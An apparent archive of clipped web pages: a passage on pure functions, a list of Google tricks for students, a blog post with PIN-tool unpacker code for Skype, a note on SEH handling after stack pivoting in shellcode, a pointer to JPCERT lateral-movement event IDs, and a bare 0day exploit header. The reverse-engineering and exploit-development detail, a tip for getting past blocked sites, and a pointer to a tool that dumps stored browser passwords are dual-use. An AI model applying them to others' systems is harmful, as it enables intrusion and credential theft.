A significant mitigating factor is that performance today means parallel programming, which usually requires more copying and combining than in a single threaded environment even in the optimal performance case, so the penalty is smaller, while the complexity reduction and correctness benefits are correspondingly larger.  When you start thinking about running, say, all the characters in a game world in parallel, it starts sinking in that the object oriented approach of updating objects has some deep difficulties in parallel environments.  Maybe if all of the object just referenced a read only version of the world state, and we copied over the updated version at the end of the frame...  Hey, wait a minute...
 
Action Items
Survey some non-trivial functions in your codebase and track down every bit of external state they can reach, and all possible modifications they can make.  This makes great documentation to stick in a comment block, even if you don’t do anything with it.  If the function can trigger, say, a screen update through your render system, you can just throw your hands up in the air and declare the set of all effects beyond human understanding.
The next task you undertake, try from the beginning to think about it in terms of the real computation that is going on.  Gather up your input, pass it to a pure function, then take the results and do something with it.
As you are debugging code, make yourself more aware of the part mutating state and hidden parameters play in obscuring what is going on.
Modify some of your utility object code to return new copies instead of self-mutating, and try throwing const in front of practically every non-iterator variable you use.

﻿http://www.onlinecolleges.net/2009/10/25/100-google-tricks-that-will-save-you-time-in-school/ 
100+ Google Tricks That Will Save You Time in School | Online Colleges
Created:
11/24/2010 2:04:38 PM
Updated:
11/24/2010 2:04:52 PM
Author:

Tags:
web searching


October 25th, 2009
If you’re a student with classes, homework, and projects–not to mention your social life–time is truly at a premium for you, so why not latch onto the wide world that Google has to offer? From super-effective search tricks to Google hacks specifically for education to tricks and tips for using Gmail, Google Docs, and Google Calendar, these tricks will surely save you some precious time.
Search Tricks
These search tricks can save you time when researching online for your next project or just to find out what time it is across the world, so start using these right away.
1. Convert units. Whether you want to convert currency, American and metric units, or any other unit, try typing in the known unit and the unknown unit to find your answer (like "how many teaspoons in a tablespoon" or "10 US dollars in Euros").
2. Do a timeline search. Use "view:timeline" followed by whatever you are researching to get a timeline for that topic.
3. Get around blocked sites. If you are having problems getting around a blocked site, just type "cache:website address" with website address being the address of the blocked site to use Google’s cached copy to get where you are going.
4. Use a tilde. Using a tilde (~) with a search term will bring you results with related search terms.
5. Use the image search. Type in your search word, then select Images to use the image search when trying to put a picture to your term.
6. Get a definition. If you want a definition without having to track down an online (or a physical) dictionary, just type "definition:word" to find the definition of the word in your results (i.e.: "definition: serendipity" will track down the definition of the word "serendipity").
7. Search within a specific website. If you know you want to look up Babe Ruth in Wikipedia, type in "site:wikipedia.org Babe Ruth" to go directly to the Wikipedia page about Babe Ruth. It works for any site, not just Wikipedia.
8. Search within a specific kind of site. If you know you only want results from an educational site, try "site:edu" or for a government site, try "site:gov" and your search term to get results only from sites with those web addresses.
9. Search for a specific file type. If you know you want a PDF (or maybe an MP3), just type in "filetype:pdf" and your search term to find results that are only in that file type.
10. Calculate with Google. Type in any normal mathematical expressions to get the answer immediately. For example, "2*4" will get you the answer "8."
11. Time. Enter "what time is it" and any location to find out the local time.
12. Find a term in a URL. This handy trick is especially useful when searching blogs, where dates are frequently used in the URL. If you want to know about a topic for that year only and not any other year, type "inurl:2009" and your keyword to find results with your keyword in URLs with 2009 in them.
13. Use Show Options to refine your search. Click "Show Options" on your search result page to have access to tools that will help you filter and refine your results.
14. Search for a face. If you are looking for a person and not just their name, type "&imgtype=face" after the search results to narrow your results to those with images of faces.
Google Specifically for Education
From Google Scholar that returns only results from scholarly literature to learning more about computer science, these Google items will help you at school.
15. Google Scholar. Use this specialized Google search to get results from scholarly literature such as peer-reviewed papers, theses, and academic publishers.
16. Use Google Earth’s Sky feature. Take a look at the night sky straight from your computer when you use this feature.
17. Open your browser with iGoogle. Set up an iGoogle page and make it your homepage to have ready access to news stories, your Google calendar, blogs you follow in Google Reader, and much more.
18. Stay current with Google News. Like an electronic clearinghouse for news, Google News brings headlines from news sources around the world to help you stay current without much effort.
19. Create a Google Custom Search Engine. On your own or in collaboration with other students, put together an awesome project like one of the examples provided that can be used by many.
20. Collect research notes with Google Notebook. Use this simple note-taking tool to collect your research for a paper or project.
21. Make a study group with Google Groups. Google Groups allows you to communicate and collaborate in groups, so take this option to set up a study group that doesn’t have to meet face-to-face.
22. Google Code University. Visit this Google site to have access to Creative Commons-licensed content to help you learn more about computer science.
23. Study the oceans with Google Earth 5. Google Earth 5 provides information on the ocean floor and surface with data from marine experts, including shipwrecks in 3D.
24. Learn what experts have to say. Explore Knol to find out what experts have to say on a wide range of topics. If you are an expert, write your own Knol, too.
Google Docs
Google Docs is a great replacement for Word, Excel, and PowerPoint, so learn how to use this product even more efficiently.
25. Use premade templates. Use these 50 pre-made templates to track spending, keep up with your health, and much more.
26. Collaborate on group projects. Google Docs allows for real-time collaboration, so make easy work for everyone next time you have a group project due.
27. Use keyboard shortcuts. Use this handy list of keyboard shortcuts to save lots of time while using Google Docs.
28. Create online surveys for research projects. Quickly and easily create online surveys for any research project that requires feedback from others. The answers are saved to your Google Docs account.
29. Add video to your presentation. Learn how to seamlessly add video to your Google Docs page to really give your presentation or project a boost.
30. Use the school year calendar template. Have an easy to use school year calendar through Google Docs by following these instructions.
31. Create graphs from spreadsheets. Once you have populated a spreadsheet with data, you can easily create a graph. Google Docs allows for pie, bar, line, and scatter graphs.
32. Create a new document with shortcuts. Learn two ways to open a new Google Docs page with these tricks.
33. Right click to use save-as. Use the right click save-as option to save a Google Docs document on your computer.
34. Send invitations. School shouldn’t be all about work. Find out how to send party invitations using Google Docs.
Gmail
The super-popular Gmail is full of fun and fast ways to make your life and communications easier.
35. Use the Tasks as a to-do list. Use the Tasks available in Gmail as a way to stay on top of assignments, exams, and project due dates.
36. Use the Archive feature. One of the great features of Gmail is that it allows you to archive emails to get them out of your inbox, then you can use the search feature to find them if you need them again.
37. Highlight mail with labels. Use labels to mark your messages. You can find them easily while in your inbox and do a search for all the messages with that label after you archive them.
38. Never forget to attach a file. By signing up for the Labs, you can select to have the Forgotten Attachment Detector. This feature notices if you have typed something about an attachment in the body, but are sending without actually attaching anything–a great tool to save time and embarrassment.
39. Use keyboard shortcuts. Go to Settings and enable keyboard shortcuts so you can perform common tasks at the touch of just one or two keys.
40. Add multiple attachments. Use the Control (or Cmd on Macs) and Shift keys to select more than one file to attach to your email at one time.
41. Use the https option. Google recommends using this option if you use your Gmail in public places like a dorm or coffee shop to add an extra bit of protection to your Internet activities.
42. Incorporate Google Calendar and Docs on your Gmail page. Have access to recent documents used in Google Docs and get an agenda of upcoming activities you have on Google Calendar with small boxes added to your Gmail page. Go to Labs to select this option.
43. Add a "Waiting for Response" label. If you have emails in your inbox that you are holding until someone gets back to you, creating this label keeps you from forgetting to follow up on it later.
44. Use Canned Responses. If you find yourself writing the same type of email over and over, use the Canned Responses feature in the Labs to create a template that you you can use without having to type out the entire email every time.
45. Consolidate email accounts. If you have a Gmail account, an account through school, and any other account you are juggling separately, combine them all into Gmail to cut down on time spent checking all those accounts.
46. Use AIM in Gmail. If you use AIM to IM friends or partners on projects, add it to the chat feature already in Gmail to have access to both.
Google Calendar
Save yourself some time by keeping track of appointments, assignments, and more with Google Calendar.
47. Sync up with others using iCal or Sunbird. Google lets you sync your calendar with others using Apple iCal or Mozilla Sunbird.
48. Customize reminders. Set reminders in your Google Calendar so that you never forget an appointment again. Choose from email, pop-up, or SMS reminders and even set when the reminder comes.
49. Learn some basic keyboard shortcuts. Change from daily to weekly to monthly view, compose a new event, and more with these simple shortcuts.
50. Use Quick Add. Click on Quick Add and type the day and time and what you are doing to have the calendar create the event with the correct time and date.
51. Use multiple calendars. Create separate calendars for school work, personal information, important due dates, and more to stay ultra-organized.
52. Get a text message with your daily agenda. Keep up with all that you need to do for the day without ever having to log on to your Google Calendar.
53. Set weekly repeats for any day. The drop-down menu only offers M/W/F or T/Th options for repeating events. Go to "Every Week" and customize which days you want the event to repeat.
54. Get upcoming events while away from the computer. Check out #8 in this list to learn how to access your upcoming events via your phone.
55. Add events from Gmail. If you receive an email with event time and date information, you can easily add this event to your calendar by clicking "Add to calendar."
56. Invite others. If you have events on your calendar that you want to invite others to join, just add their email address under Add Guests within the event.
Google Mobile
Whether riding the bus or walking to class, use Google Mobile to stay productive while away from your computer.
57. Sync your calendar. Never be far from your Google Calendar when you sync it to your phone.
58. Check your email. Keep your email right at your fingertips with Gmail for mobile.
59. Access your blog subscriptions. Keep up with your blogs and news feeds that you subscribe to through Reader right on your phone.
60. Use Google Voice to consolidate phone numbers. If you have a phone in your dorm or apartment, a cell phone, and any other phone numbers, consolidate them into one number with Google Voice.
61. Easily find friends. Find out where your friends are and even get a map with directions for how to get there with Google Latitudes.
62. Find out information easily while on the go. Whether you are looking for a great place to eat dinner, wondering what the weather is like, or want to know what the Spanish word for "bathroom" is, just text your information to Google (466453–spells Google on your phone) to get the answer texted back right away.
63. Access iGoogle. Get your iGoogle page formatted just for the smaller screen size of your phone.
64. Read your Google Docs. Have access to all your Google Docs items right on your phone.
65. Keep a to-do list on your phone. Use Google Tasks for mobile so you can access your to-do list any time–and check off what you’ve finished, too.
66. Never get lost again. Google Maps is an interactive program for most smart phones that offers tons of features so you will never have to be lost again.
67. Do a quick search anywhere. Find information with a Google search from your phone to impress your professors and your friends.
68. Access Google Books. Android and iPhone users can access Google Books on their phones.
69. Post to your blog. Use your mobile to post to your Blogger blog.
Google Chrome Tips and Extensions
If you are using the Google Chrome browser, then you will love these time-saving tips and extensions.
70. Use a "Pin Tab". If you have multiple tabs open, use a "Pin Tab" to make the tabs the size of the little icon on the left side.
71. Don’t overlook Paste and Search and Paste and Go. These two features are available when you right-click to add a word or URL to Chrome and will save you an extra step.
72. Reopen a closed tab. Oops! If you didn’t mean to close that tab, just press Ctrl+Shift+T to reopen it.
73. Use the Chrome shortcuts. Open a new tab, see your history, maximize your window, and much more with these shortcuts.
74. Take advantage of the address bar. With Google Chrome, you can use the address bar to perform a Google search, quickly access pages you’ve already visited, and get recommendations for places to go.
75. Go incognito. If you don’t want to leave traces of where you were browsing, use incognito mode instead of having to go back and delete your history and cookies.
76. Use the bookmarks manager. Stay organized, rearrange bookmarks, search for bookmarks, add folders, and much more with the bookmark manager.
77. ChromePass. This tool will give you a list of all the password information stored in Google Chrome.
78. Save as PDF. Save any page as a PDF with this bookmarklet.
79. ChromeMailer. If you’ve lost valuable time when having to manually enter email information from a website because Google Chrome doesn’t support the mailto: function, then you will love this extension.
80. Google Chrome Backup. Back up your personal data, bookmarks, and more with this simple tool.
Google Books
Learn how Google Books can save you time and trips to the library with these tricks.
81. Search full text. Google Books offers full text for over 10,000 books, so look here the next time you are researching something at the last minute.
82. Use "About this book". At the top left of the page of a book, clicking this link will give you helpful information such as the table of contents, related books, and a map of places mentioned in the book.
83. Create a personalized library. Click on "Add to my shared library" to start your own personalized library where you can label books to keep them organized for each class or project.
84. Find books in your college library. Each book in Google Books has a link to find the book in a library. It can tell you exactly where to look at your own school.
85. Use the Advanced Book Search. If you can’t find the book you are looking for, try the advanced search, which provides you with many more detailed options.
86. Access text books. Many text books are available on Google Books, so see if you can save a trip to the bookstore next semester.
87. Search for magazine content. Select Magazines in the Advanced Book Search to locate information from magazines.
88. Read the blog. Google Books is constantly evolving, so stay on top of all the latest news with the Inside Google Books blog.
89. Find books to supplement your assigned texts. Search by subject to see what books you may be able to read to get the extra leg up in your classes.
Handy Google Services and Apps
These other Google products will help you save time by offering you everything from alerts to online collaboration to help working with data sets.
90. Google Alerts. Sign up to get email notifications any time a topic you designate shows up in Google search results. This is a great way to stay current with a project or news story.
91. Google Desktop. Keep a clock, weather, news stories, Google search box, and more all within easy reach when you use Google Desktop.
92. Google SketchUp. If you need to draw 3D figures for class, use Google SketchUp to do so easily and free of charge.
93. Google Talk. This versatile app is more than just for IMs. You can switch to voice, do a video chat, and send texts, too.
94. Google Images. Google has an incredible image search feature that will provide you with tons of high-quality images you can use in presentations.
95. Google Translate. Don’t spend time looking up stuff in books, use Google Translate to get foreign words translated right away.
96. Google Wave. This brand new Google product shows great promise for anyone collaborating, but especially for those in school. Communicate, create documents, and more–all in real-time.
97. Google Finance. Business students can keep track of markets, news, portfolios, and more in one place.
98. Google Toolbar. Have easy access to Gmail, Google search, bookmarks, and more with this toolbar available for Internet Explorer and Firefox.
99. Picasa. Manage your photos and even incorporate them into your blogs and emails with Google’s streamlines photo manager.
100. Google Squared. Find facts and organize them with this search feature from Google Labs.
101. Google Fusion Tables. If you are working with data sets, then you will love this program that will allow you to upload data, create visual representations, and take part in discussions about the data.
102. Blogger. Create a blog as a part of a project or just to stay in touch with friends and family in an easy way.
﻿http://joxeankoret.com/blog/2012/11/04/a-simple-pin-tool-unpacker-for-the-linux-version-of-skype/ 
A simple PIN tool unpacker for the Linux version of Skype « Unintended Results
Created:
11/23/2012 9:28:55 PM
Updated:
11/23/2012 9:30:40 PM
Author:

Tags:
binary instrumentation Malware-analysis Obfuscation


A simple PIN tool unpacker for the Linux version of Skype 
Some time ago I wanted to take a look to Skype to see how it works and get the classes diagram of this program but, surprise: It's packed. The Windows version is protected with a crypter of their own, (UPDATE: this statement was wrong: the last time I checked it, was protected with Themida . It was Spotify the application protected with Themida). However, as I expected, the Linux version was simply packed (not protected) and with something easy to unpack. To unpack Skype and be able to analyse it in IDA and, also, to learn a bit how Intel PIN works, I have written a PIN tool to "automatically" unpack Skype.
Skype packer for Linux
The packer used in Skype is pretty straightforward to unpack and we don't really need an unpacker for it: if we just want to analyse it in IDA Pro we can simply do the following:
1. Open it in IDA and let it finish the auto analysis.
2. Put an "execute" hardware breakpoint at entry point.
3. Execute it until the breakpoint is hit the 2nd time.
4. Take a memory snapshot of the loader segments in IDA.
This is how it looks like before unpacking, right after the initial auto-analysis performed by IDA Pro:

Skype binary before unpacking it in IDA
And this is how it looks like after the hardware breakpoint is hit the 2nd time:

Skype unpacked, displaying the typical GCC's compiled code entry point
But, as previously stated, for learning a bit how Intel PIN works I decided to write a simple "write and exec" unpacker for Skype and connect IDA Pro with PIN via GDB server to take a memory snapshot when done. Also, it will be useful to unpack other simple packers, not just to unpack the Skype's Linux binary.
Intel PIN
PIN is a binary instrumentation framework created by Intel for x86 and x86_64 that let us instrument code for any application written for those processors (in the past there was support for ARM and Itanium too, IIRC). Basically, it works by rewriting the real code the application executes inserting our instrumentation code at different granularities (instruction level, basic block level, etc...) A simple PIN tool looks like the following (extracted from the PIN example tool):
// Instruction count example
1. // Actual instrumentation code
2. VOID docount() { icount++; }
3. // Code to check if we need to instrument an instruction
4. VOID Instruction(INS ins, VOID *v)
5.     // Insert a call to docount before every instruction, no arguments are passed
6.     INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
7. void Usage(void)
8. // PIN stuff and instrumentation initialization
9. int main(int argc, char * argv[])
10.     // Initialize pin
11.     if (PIN_Init(argc, argv)) return Usage();
12.     // Register Instruction to be called to instrument instructions
13.     INS_AddInstrumentFunction(Instruction, 0);
14.     // Start the program, never returns
15.     PIN_StartProgram();
16.     return 0;
In main we initialize PIN stuff, setup instruction level instrumentation and executes the program (PIN_StartProgram). Then, for every new instruction discovered by PIN, the callback "Instruction" will be called. In this callback we decide what instructions we want to actually instrument by calling INS_InsertCall. Then, before the instruction is executed the callback "docount" will be executed. And that is, we have a working example to count the number of instructions a program executes.
GDB Server
In my opinion, one of the best features supported by Intel PIN is the "-appdebug" command line switch. This switch tells PIN to start a GDB server to debug the application. We can use this feature to debug from IDA Pro any application using PIN using the remote GDB debugger. The unique "problem" (not really a problem, just annoying) is that we cannot specify the port PIN will listen in as it will be randomly selected and we need to change it in Debugger -> Process Options every time we execute PIN. For example, let's say we want to debug skype running the inscount0 example from IDA with the GDB server we would execute a command like the following:
$ pin -appdebug -t source/tools/ManualExamples/obj-ia32/inscount0.so -- `which skype`
Application stopped until continued from debugger.
Start GDB, then issue this command at the (gdb) prompt:
target remote :12587 
And setup the remote GDB connection from IDA Pro using the specified port in the output of the command (Debugger -> Process Options):
 
 
 
After setting it up, click OK and select Debugger -> Attach to process from IDA. In the next dialog, just press OK when asked to which process we want to attach and that's all, we are debugging the process with PIN from IDA.
A simple "write and exec" unpacker
Let's go back to the main purpose of this post: writing an unpacker for Skype as a PIN tool. What I will do is to check if any instruction in the main binary (skype) modifies any of the application's segments (for example, if it writes to the .text section), save them and, if the application jumps to execute code to any of the modified sections, raise an application breakpoint to inform the debugger the process seems to be unpacked. Is a pretty simple idea that works for simple packers, like the one used in Skype.
What I do in the PIN tool is, in the function main setup instrumentation granularity at trace level (basic block level) and install another callback that will be called right before the application starts:
//--------------------------------------------------------------------------
1. int main(int argc, char *argv[])
2.   // Initialize PIN library. Print help message if -h(elp) is specified
3.   // in the command line or the command line is invalid
4.   if( PIN_Init(argc,argv) )
5.     return Usage();
6.   // Register function to be called to instrument traces
7.   TRACE_AddInstrumentFunction(trace_cb, 0);
8.   // Register function to be called at application start time
9.   PIN_AddApplicationStartFunction(app_start_cb, 0);
10.   // Register function to be called when the application exits
11.   PIN_AddFiniFunction(fini_cb, 0);
12.   // Start the program, never returns
13.   PIN_StartProgram();
14.   return 0;
In the "app_start_cb" function callback we will save the application's segments in a std::map:
(...)
1. struct segdata_t
2.   size_t  size;
3.   ADDRINT check;
4.   bool    written;
5. typedef std::map segmap_t;
6. segmap_t seg_bytes;
7. (...)
8. //--------------------------------------------------------------------------
9. static VOID app_start_cb(VOID *v)
10.   IMG img = APP_ImgHead();
11.   for( SEC sec= IMG_SecHead(img); SEC_Valid(sec); sec = SEC_Next(sec) )
12.     ADDRINT sec_ea = SEC_Address(sec);
13.     // is the segment loaded in the process memory?
14.     if ( sec_ea != 0 )
15.       ADDRINT check;
16.       // copy the first DWORD/QWORD to check if it was really changed
17.       size_t bytes = PIN_SafeCopy(&check, (void*)sec_ea, sizeof(ADDRINT));
18.       if ( bytes == sizeof(ADDRINT) )
19.         if ( min_ea > sec_ea || min_ea == 0 )
20.           min_ea = sec_ea;
21.         if ( max_ea < sec_ea || max_ea == (unsigned)-1 )
22.           max_ea = sec_ea;
23.         segdata_t seg;
24.         seg.size = SEC_Size(sec);
25.         seg.check = check;
26.         seg.written = false;
27.         // save the segment information
28.         seg_bytes[sec_ea] = seg;
We iterate over all the segments in the application that will be loaded in the process memory and save information about them. Now, in the "trace_cb" callback, we will check in every instruction of every basic block that is going to be executed if the code modifies memory in the limits of the previously recorded segments or if the process is going to execute an instruction in a previously written application's segment:
//--------------------------------------------------------------------------
1. static VOID trace_cb(TRACE trace, VOID *v)
2.   // Visit every basic block in the trace
3.   for ( BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl) )
4.     // Visit every instruction in the basic block
5.     for( INS ins = BBL_InsHead(bbl); INS_Valid(ins); ins=INS_Next(ins) )
6.       // check if the address is in the limits of the application's segments
7.       ADDRINT ea = INS_Address(ins);
8.       if ( !valid_ea(ea) )
9.         continue;
10.       // if that address was already written and is going to be executed, we consider it's unpacked
11.       if ( was_writen(ea) )
12.         INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)check_unpacked_cb,
13.             IARG_INST_PTR,
14.             IARG_CONST_CONTEXT,
15.             IARG_THREAD_ID,
16.             IARG_END);
17.       // Instruments memory accesses using a predicated call, i.e.
18.       // the instrumentation is called iff the instruction will actually be executed.
19.       // The IA-64 architecture has explicitly predicated instructions.
20.       // On the IA-32 and Intel(R) 64 architectures conditional moves and REP
21.       // prefixed instructions appear as predicated instructions in Pin.
22.       UINT32 mem_operands = INS_MemoryOperandCount(ins);
23.       // Iterate over each memory operand of the instruction.
24.       for ( UINT32 mem_op = 0; mem_op < mem_operands; mem_op++ )
25.         // Note that in some architectures a single memory operand can be
26.         // both read and written (for instance incl (%eax) on IA-32)
27.         // In that case we instrument it once for read and once for write.
28.         if ( INS_MemoryOperandIsWritten(ins, mem_op) )
29.           // is the memory address to be modified in the limits of the application's segments?
30.           INS_InsertIfPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)valid_ea,
31.             IARG_MEMORYOP_EA,
32.             mem_op,
33.             IARG_END);
34.           // if so, add our instrumentation code
35.           INS_InsertThenPredicatedCall(
36.               ins, IPOINT_BEFORE, (AFUNPTR)record_mem_write_cb,
37.               IARG_INST_PTR,
38.               IARG_MEMORYOP_EA, mem_op,
39.               IARG_END);
In the "record_mem_write_cb" callback the PIN tool checks if the actual memory write affects any of the application's segments. If so, the "written" flag of the corresponding segment element is set to true:
//--------------------------------------------------------------------------
1. // Handle memory write records
2. VOID record_mem_write_cb(VOID * ip, VOID * addr)
3.   ADDRINT ea = (ADDRINT)addr;
4.   segmap_t::iterator p;
5.   for ( p = seg_bytes.begin(); p != seg_bytes.end() && !p->second.written; ++p )
6.     ADDRINT start_ea = p->first;
7.     if ( ea >= start_ea )
8.       segdata_t *seg = &p->second;
9.       if ( ea size )
10.         fprintf(stderr, "%p: W %p\n", ip, addr);
11.         write_address.push_back((ADDRINT)addr);
12.         seg->written = true;
13.         break;
And, finally, in the callback "check_unpacked_cb" that we installed in the "trace_cb" callback, we set again the "written" member to false and raise an application breakpoint that will be catch in IDA Pro:
//--------------------------------------------------------------------------
1. VOID check_unpacked_cb(VOID * ip, const CONTEXT *ctxt, THREADID tid)
2.   ADDRINT ea = (ADDRINT)ip;
3.   addrdeq_t::iterator it = std::find(write_address.begin(), write_address.end(), ea);
4.   if ( it != write_address.end() )
5.     write_address.erase(it);
6.   fprintf(stderr, "Layer unpacked: %p\n", ip);
7.   PIN_ApplicationBreakpoint(ctxt, tid, false, "Layer unpacked!");
OK, we have our simple unpacker, it's time to compile it, execute this PIN tool with the -appdebug command line switch, connect from IDA to PIN and let the application run. When the breakpoint is hit, the application (Skype in this case) is unpacked and we can take a memory snapshot. In the terminal where we execute the command we will see something like this:

$ ./pin -appdebug -t source/tools/MyPinTool/obj-ia32/pinpack.so -- /path/to/skype
Application stopped until continued from debugger.
Start GDB, then issue this command at the (gdb) prompt:
target remote :47643
0x83d95b9: W 0x840c35f
0x840bc5e: W 0x805c050
0x840bd3f: W 0x8058ed0
Layer unpacked: 0x805c050 
And in IDA we will receive an application breakpoint at the entry point with the message "Layer unpacked" displayed in the output window:

Skype finally unpacked with the PIN tool "pinpack"
And that's all! We have a working "write and exec" unpacker in the form of a PIN tool. You can download the source code of the unpacker here .
Extra
What I really wanted to do before writing the PIN tool was to get a classes diagram of the Skype application. Now that the application is unpacked in IDA we can easily do it (after taking a memory snapshot and re-analysing the whole database). I'll use the scripts written by Igor Skochinsky released after his RECON  conference "Compiler Internals: Exceptions and RTTI" . I modified the script gnu_rtti.py a little to display a classes diagram in a GraphViewer component in IDA (instead of a chooser) that, also, let's you save the diagram in dot format. You can download my modified version of the script here .
After running this script (go grab a coffee if you do it yourself as it will take a while) the classes diagram will be displayed in the GraphViewer component and we can right click in the graph and select "Export to dot". The following is the generated classes diagram of Skype rendered with GraphViz :

Skype classes diagram
That's all! I hope you liked this blog post!
﻿http://sysexit.wordpress.com/2014/02/12/a-brief-reverse-engineering-note-on-structured-exception-handling-after-stack-pivoting/ 
A brief Reverse-Engineering note on Structured Exception Handling after Stack Pivoting | sysexit
Created:
2/12/2014 9:33:47 PM
Updated:
2/12/2014 9:33:47 PM
Author:

Tags:
web-app-sec Exploit papers


A brief Reverse-Engineering note on Structured Exception Handling after Stack Pivoting
A few days ago Nahuel and me took a look at a piece of shellcode that wasn’t working.
After performing a stack pivoting and successfully executing a ROP chain, the shellcode was supposed to setup an Structured Exception Handler in order to catch memory access errors when scanning the address space of the process. But for some unknown reason, the Exception Handler wasn’t being called when an exception was triggered.
The Test Case
This is a minimal test case to reproduce the issue:
1) allocate some memory for a new stack
2) make ESP point to this new memory region
3) setup a Structured Exception Handler (0×00401040 in this example)
4) generate an exception

00401000      6A 04              PUSH 4                             ;PAGE_READWRITE
00401002      68 00300000        PUSH 3000                          ;MEM_COMMIT|MEM_RESERVE
00401007      68 00001000        PUSH 100000                        ;Size
0040100C      6A 00              PUSH 0                             ;Address
0040100E      E8 E5E10A00        CALL <JMP.&KERNEL32.VirtualAlloc>  ;Call VirtualAlloc
00401013      09C0               OR EAX,EAX                         ;Was VirtualAlloc successful?
00401015      75 07              JNZ SHORT test.0040101E         
00401017      6A 01              PUSH 1
00401019      E8 CADF0A00        CALL <JMP.&KERNEL32.ExitProcess>   ;if VirtualAlloc failed, then exit
0040101E      8DA0 FCFF0F00      LEA ESP,DWORD PTR DS:[EAX+FFFFC]   ;Make ESP point to the bottom (highest address) of the stack
00401024      68 40104000        PUSH test.00401040                 ;Setup our EXCEPTION_REGISTRATION_RECORD: Address of the Exception Handler
00401029      6A FF              PUSH -1                            ;Setup our EXCEPTION_REGISTRATION_RECORD: last EXCEPTION_REGISTRATION_RECORD
0040102B      64:8925 00000000   MOV DWORD PTR FS:[0],ESP           ;Set the current SEH chain
00401032      A3 00000000        MOV DWORD PTR DS:[0],EAX           ;Generate an exception
If you run this code, you’ll notice that, after the access violation is generated on purpose at address 0×00401032, the execution won’t be transferred to the Exception Handler function at address 0×00401040. But why?
Digging into the exception dispatcher mechanism
To answer this question we need to look at the KiUserExceptionDispatcher function from the ntdll library:

.text:77F06FE8 ; __stdcall KiUserExceptionDispatcher(x, x)
.text:77F06FE8                 public _KiUserExceptionDispatcher@8
.text:77F06FE8 _KiUserExceptionDispatcher@8 proc near  ; DATA XREF: .text:off_77EF61B8o
.text:77F06FE8
.text:77F06FE8 var_C           = dword ptr -0Ch
.text:77F06FE8 var_8           = dword ptr -8
.text:77F06FE8 var_4           = dword ptr -4
.text:77F06FE8 arg_0           = dword ptr  4
.text:77F06FE8
.text:77F06FE8                 cld
.text:77F06FE9                 mov     ecx, [esp+arg_0]
.text:77F06FED                 mov     ebx, [esp+0]
.text:77F06FF0                 push    ecx
.text:77F06FF1                 push    ebx
.text:77F06FF2                 call    _RtlDispatchException@8 ; RtlDispatchException(x,x)
KiUserExceptionDispatcher calls RtlDispatchException.
RtlDispatchException calls the Vectored Exception Handlers in the first place, and then it calls RtlpGetStackLimits in order to read the stack’s top address (highest memory address of the stack, stored at TEB + 4) and the stack’s bottom address (lowest memory address of the stack, stored at TEB + 8) from the TEB:

RtlDispatchException(x,x)+23                   lea     eax, [ebp+stack_top]
RtlDispatchException(x,x)+26                   push    eax             ; stack_top
RtlDispatchException(x,x)+27                   lea     eax, [ebp+stack_bottom]
RtlDispatchException(x,x)+2A                   push    eax             ; stack_bottom
RtlDispatchException(x,x)+2B                   call    _RtlpGetStackLimits@8 ; RtlpGetStackLimits(x,x)
RtlpGetStackLimits just reads those two fields from the TEB:

RtlpGetStackLimits(x,x)+6                    mov     eax, large fs:18h
RtlpGetStackLimits(x,x)+C                    mov     ecx, [ebp+stack_top]
RtlpGetStackLimits(x,x)+F                    mov     edx, [ebp+stack_bottom]
RtlpGetStackLimits(x,x)+12                   mov     [ebp+teb], eax
RtlpGetStackLimits(x,x)+15                   mov     eax, [ebp+teb]
RtlpGetStackLimits(x,x)+18                   mov     eax, [eax+4]       ;grab the stack's top address
RtlpGetStackLimits(x,x)+1B                   mov     [ecx], eax
RtlpGetStackLimits(x,x)+1D                   mov     eax, [ebp+teb]
RtlpGetStackLimits(x,x)+20                   mov     eax, [eax+8]       ;grab the stack's bottom address
RtlpGetStackLimits(x,x)+23                   mov     [edx], eax
A few instructions later, the RtlDispatchException function checks if the address of the first (and only, in this case) EXCEPTION_REGISTRATION_RECORD (located in the new stack) is located between the stack’s bottom address and the stack’s top address as defined in the thread’s TEB:

;at this point, EBX == address of the first and only EXCEPTION_REGISTRATION_RECORD in the new stack
RtlDispatchException(x,x)+80                   cmp     ebx, [ebp+stack_bottom] ; if addr of EXCEPTION_REGISTRATION_RECORD < stack_bottom, then exit
RtlDispatchException(x,x)+83                   jb      loc_77F3A885
RtlDispatchException(x,x)+89                   lea     eax, [ebx+8]
RtlDispatchException(x,x)+8C                   cmp     eax, [ebp+stack_top]    ; if addr of EXCEPTION_REGISTRATION_RECORD + 8 > stack_top, then exit
RtlDispatchException(x,x)+8F                   ja      loc_77F3A885    
So, if the address of the first EXCEPTION_REGISTRATION_RECORD is not within the bounds of the thread’s stack as defined in the thread’s TEB, then RtlDispatchException will exit without calling RtlpExecuteHandlerForException, which ultimately should call our Exception Handler.
The End
These notes apply, at least, to the 32-bit versions of Windows Seven SP1 and Windows XP SP3. I haven’t checked other OS versions.
By the way, note that a similar check is performed by EMET 4.0 to detect stack pivoting, as mentioned in this Defcon 21 presentation.
About these ads
﻿https://www.peerlyst.com/posts/a-huge-list-of-windows-log-file-event-ids-for-detecting-lateral-movement-s-delano 
A huge list of Windows log file Event IDs for detecting lateral movement
Created:
3/2/2019 6:18:07 PM
Updated:
3/2/2019 6:18:07 PM
Author:
wishi
Tags:
Forensics incident response event-corelation eventlog




A huge list of Windows log file Event IDs for detecting lateral movement
This study is the most comprehensive listing of windows event id's#windows event id's (Tag)‍ in logfiles I've ever seen, plus it comes with advice on what to look for and what the different events mean and how you should interpret them in the respect of lateral movement#lateral movement (Tag)‍.
An overview of the tools#tools (Tag) tested, for all of these tools and the lateral movement techniques#lateral movement techniques (Tag)‍ they employ you can find event log#log (Tag) IDs and advice




The work was done by JPCERT and is most impressive. Thank you very much JPCERT!

Studies/Research
For such use of tools, the Japan Computer Emergency Response Team Coordination Center (JPCERT/CC) extracted tools used by many attackers by investigating recently confirmed cases of targeted attacks. Then, a research was conducted to investigate what kind of logs#logs (Tag) were left on the server and clients by using such tools, and what settings need to be configured to obtain logs that contain sufficient evidential information.
https://www.jpcert.or.jp/english/pub/sr/ir_research.html

﻿http://www.133tsec.com/2012/04/27/0day-mikrotik-winbox-client-side-attack-a-remote-code-execution-exploit/ 
133tsec.com » 0day: Mikrotik’s Winbox Client Side attack. A remote code execution exploit
Created:
4/30/2012 2:27:01 PM
Updated:
4/30/2012 2:27:01 PM
Author:

Tags:
Exploit zeroday


0day: Mikrotik’s Winbox Client Side attack. A remote code execution exploit
April 27th, 2012
